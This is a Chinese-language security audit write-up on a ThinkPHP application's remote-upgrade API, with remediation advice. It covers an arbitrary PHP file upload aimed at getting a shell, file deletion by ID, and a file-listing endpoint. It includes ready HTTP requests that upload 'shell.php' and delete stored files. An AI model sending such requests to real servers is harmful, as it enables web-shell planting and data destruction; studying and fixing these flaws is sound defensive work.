文件操作路由接口代码分析至getshell
字数 1477 2025-08-22 12:23:30
ThinkPHP路由接口漏洞分析:从文件操作到getshell
前言
本文基于ThinkPHP框架的路由接口代码分析,详细讲解如何通过审计文件操作路由接口发现安全漏洞,最终实现getshell。文章将涵盖任意文件上传、任意文件删除和文件浏览三个关键漏洞点的分析过程。
环境与框架信息
- 框架:ThinkPHP
- 路由文件位置:
application/route.php - 控制器路径:
v2/controller/remoteUpgrade/RemoteUpgradeController.php
漏洞分析
1. 任意文件上传漏洞
路由定位
在route.php文件第510行发现remote-upgrade路由,该路由下包含四个处理接口:
- POST请求的
upload接口 - GET请求的
all接口 - 两个DELETE请求的接口
路由指向控制器类:$controller = 'remoteUpgrade.RemoteUpgradeController'
代码分析
文件上传功能位于v2/controller/remoteUpgrade/RemoteUpgradeController.php中的upload函数,主要逻辑:
- 检查是否为POST请求且包含上传文件
- 验证文件名及后缀
- 验证文件长度(1-250字节)
- 计算文件hash验证唯一性
- 从配置获取文件保存路径
- 重命名上传的文件
- 验证文件大小
- 返回文件上传信息
漏洞利用
上传接口路径:/api/v2/remote-upgrade/upload
构造POST请求上传文件:
POST /api/v2/remote-upgrade/upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
成功上传后会返回文件路径,如:
{
"path": "/uploads/20250212/abcdef123456.php"
}
访问上传文件验证:
http://target.com/uploads/20250212/abcdef123456.php
2. 任意文件删除漏洞
代码分析
删除功能位于同一控制器的delete函数,主要逻辑:
- 从请求中提取ID值:
Tool::mergeIdAndIds(input()) - 如果id为空则无操作
- 查询数据库获取文件记录:
$files = (Array) $this->r->whereIn('id', $ids)->select() - 计算hash值定位文件
- 遍历并删除文件
漏洞利用
- 首先上传一个测试文件,获取其ID(如返回ID为167)
- 构造DELETE请求删除文件:
DELETE /api/v2/remote-upgrade/delete HTTP/1.1
Host: target.com
Content-Type: application/json
{
"id": 167
}
- 响应结果:
- 成功删除:
{"result":1} - 文件不存在:
{"result":0}
- 成功删除:
3. 文件浏览漏洞
代码分析
all接口功能:
- 获取所有文件记录
- 为每条记录生成访问链接和文件信息
- 检查文件是否实际存在于存储路径
限制条件
该接口需要认证,无法未授权访问。如果存在其他认证绕过漏洞,可能结合利用。
漏洞修复建议
-
文件上传漏洞修复:
- 严格限制上传文件类型(白名单方式)
- 禁止上传可执行文件(如.php)
- 文件重命名时去除潜在危险字符
- 上传目录设置为不可执行
-
文件删除漏洞修复:
- 增加权限验证,确保用户只能删除自己的文件
- 实现CSRF保护
- 删除前进行二次确认
-
文件浏览漏洞修复:
- 确保接口有严格的权限控制
- 对返回的文件信息进行过滤,避免泄露敏感路径
-
通用修复:
- 对所有文件操作接口实施严格的输入验证
- 实现完善的日志记录,监控可疑文件操作
- 定期进行安全审计
总结
通过对ThinkPHP路由接口的审计,我们发现文件操作类接口往往是安全风险的高发区。开发人员应特别注意:
- 路由定义的安全性
- 文件操作接口的权限控制
- 用户输入的严格验证
- 敏感操作的日志记录
安全研究人员在进行白盒审计时,可以从路由文件入手,重点关注文件上传、删除等高风险操作接口,往往能发现严重的安全漏洞。